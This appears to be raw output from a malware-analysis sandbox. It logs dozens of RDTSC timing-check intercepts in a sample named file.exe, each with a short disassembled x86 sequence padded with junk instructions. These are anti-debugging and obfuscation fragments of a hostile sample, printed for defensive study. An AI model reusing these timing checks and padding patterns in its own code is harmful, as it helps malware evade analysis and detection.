Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0B706 second address: EEA578 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jl 00007F90CD2EB7CCh 0x0000000b popad 0x0000000c nop 0x0000000d add ecx, 3856C214h 0x00000013 lea eax, dword ptr [ebp+1248A19Ch] 0x00000019 push 00000000h 0x0000001b push esi 0x0000001c call 00007F90CD2EB7C8h 0x00000021 pop esi 0x00000022 mov dword ptr [esp+04h], esi 0x00000026 add dword ptr [esp+04h], 00000018h 0x0000002e inc esi 0x0000002f push esi 0x00000030 ret 0x00000031 pop esi 0x00000032 ret 0x00000033 mov edi, 454688EDh 0x00000038 nop 0x00000039 jmp 00007F90CD2EB7CCh 0x0000003e push eax 0x0000003f jmp 00007F90CD2EB7CDh 0x00000044 nop 0x00000045 mov cx, si 0x00000048 jc 00007F90CD2EB7CCh 0x0000004e mov dword ptr [ebp+12465EF2h], eax 0x00000054 call dword ptr [ebp+122D1D68h] 0x0000005a pushad 0x0000005b push edi 0x0000005c jns 00007F90CD2EB7C6h 0x00000062 jmp 00007F90CD2EB7D4h 0x00000067 pop edi 0x00000068 push eax 0x00000069 push edx 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEA578 second address: EEA57E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEA57E second address: EEA582 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3B2EA second address: F3B31B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F90CCB8A176h 0x0000000a jmp 00007F90CCB8A189h 0x0000000f jo 00007F90CCB8A176h 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push edi 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c pop edi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3B4AC second address: F3B4B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3B4B4 second address: F3B4B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3B4B8 second address: F3B4FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F90CD2EB7D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F90CD2EB7D9h 0x00000016 jg 00007F90CD2EB7C6h 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f jbe 00007F90CD2EB7C6h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3B4FE second address: F3B504 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3B662 second address: F3B66A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3B66A second address: F3B66E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3B919 second address: F3B93D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ebx 0x00000006 jmp 00007F90CD2EB7CAh 0x0000000b pushad 0x0000000c popad 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F90CD2EB7CDh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3B93D second address: F3B941 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3B941 second address: F3B94F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3B94F second address: F3B967 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 jnl 00007F90CCB8A17Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3BAAC second address: F3BAB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3BAB0 second address: F3BACA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 js 00007F90CCB8A176h 0x0000000f jp 00007F90CCB8A176h 0x00000015 pushad 0x00000016 popad 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3BACA second address: F3BAD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3BAD0 second address: F3BAD6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F41520 second address: F4154B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F90CD2EB7CFh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F90CD2EB7D4h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4154B second address: F41559 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F90CCB8A17Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4210B second address: F42111 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F42279 second address: F4227F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4227F second address: F42283 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F42404 second address: F4240A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4240A second address: F42415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F42415 second address: F42428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jg 00007F90CCB8A176h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4297C second address: F42982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F42982 second address: F42987 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F42987 second address: F4298C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4298C second address: F42994 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4A80B second address: F4A813 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4D116 second address: F4D11F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4D47C second address: F4D481 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4FCE3 second address: F4FCE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4FCE7 second address: F4FD0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F90CD2EB7C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 jmp 00007F90CD2EB7D5h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F57332 second address: F57336 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F57336 second address: F57346 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F90CD2EB7C8h 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECC0DA second address: ECC0ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007F90CCB8A176h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECC0ED second address: ECC0F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECC0F1 second address: ECC0F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECC0F7 second address: ECC108 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jns 00007F90CD2EB7C6h 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F56051 second address: F5605D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F90CCB8A176h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0B120 second address: F0B162 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F90CD2EB7CCh 0x0000000c popad 0x0000000d push eax 0x0000000e jns 00007F90CD2EB7D0h 0x00000014 nop 0x00000015 mov dword ptr [ebp+12453707h], edi 0x0000001b mov ebx, dword ptr [ebp+1248A1DBh] 0x00000021 mov cx, dx 0x00000024 add eax, ebx 0x00000026 pushad 0x00000027 mov ecx, edx 0x00000029 mov cx, si 0x0000002c popad 0x0000002d push eax 0x0000002e pushad 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0B162 second address: F0B196 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jmp 00007F90CCB8A181h 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 mov dword ptr [ebp+1247C29Bh], ecx 0x00000016 push 00000004h 0x00000018 push edx 0x00000019 mov edx, 6A327A2Ch 0x0000001e pop edx 0x0000001f nop 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 push ecx 0x00000024 pop ecx 0x00000025 push ecx 0x00000026 pop ecx 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0B196 second address: F0B19C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0B19C second address: F0B1A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0B2B2 second address: F0B2B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5B4CE second address: F5B4D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5A6FD second address: F5A717 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F90CD2EB7D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5A717 second address: F5A739 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F90CCB8A176h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jmp 00007F90CCB8A181h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5A739 second address: F5A73D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5A73D second address: F5A743 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5A874 second address: F5A896 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F90CD2EB7C6h 0x0000000a jmp 00007F90CD2EB7D8h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5A896 second address: F5A8AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a js 00007F90CCB8A176h 0x00000010 push edx 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5A8AA second address: F5A8CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F90CD2EB7D9h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5A8CC second address: F5A8DA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5A8DA second address: F5A8DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5A8DE second address: F5A8E8 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F90CCB8A176h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5AB75 second address: F5ABB9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F90CD2EB7D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a jmp 00007F90CD2EB7D8h 0x0000000f jmp 00007F90CD2EB7D6h 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5ABB9 second address: F5ABBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5ABBF second address: F5ABC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F90CD2EB7C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5ABC9 second address: F5ABD6 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F90CCB8A176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5AD59 second address: F5AD61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5AD61 second address: F5AD66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5AEF4 second address: F5AEFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5AEFA second address: F5AF08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F90CCB8A182h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5AF08 second address: F5AF12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F90CD2EB7C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5AF12 second address: F5AF1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5B0A0 second address: F5B0A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5B0A5 second address: F5B0AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F90CCB8A176h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5DCD0 second address: F5DCE0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F90CD2EB7CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5DE7C second address: F5DE99 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F90CCB8A17Ch 0x00000007 jp 00007F90CCB8A178h 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5DE99 second address: F5DE9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5DE9D second address: F5DEB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F90CCB8A17Fh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F649A0 second address: F649C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F90CD2EB7D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a jp 00007F90CD2EB7C6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F649C4 second address: F64A02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push esi 0x00000009 pop esi 0x0000000a push edi 0x0000000b pop edi 0x0000000c jmp 00007F90CCB8A189h 0x00000011 popad 0x00000012 jc 00007F90CCB8A18Ch 0x00000018 jmp 00007F90CCB8A180h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F650F4 second address: F6510A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F90CD2EB7D1h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F653B8 second address: F653C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F653C1 second address: F653C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F653C5 second address: F653EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F90CCB8A181h 0x0000000d jmp 00007F90CCB8A17Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F66239 second address: F66241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F664ED second address: F664FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F90CCB8A17Bh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F664FF second address: F66524 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F90CD2EB7D4h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007F90CD2EB7C6h 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F66524 second address: F66536 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F90CCB8A178h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F66536 second address: F6653C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6653C second address: F66540 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F66540 second address: F6655C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F90CD2EB7D4h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A7B7 second address: F6A7D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jl 00007F90CCB8A187h 0x0000000d jmp 00007F90CCB8A17Fh 0x00000012 push esi 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A7D9 second address: F6A7DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F699AA second address: F699AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69B2F second address: F69B35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69C7B second address: F69C8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F90CCB8A17Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A37C second address: F6A380 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A380 second address: F6A386 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
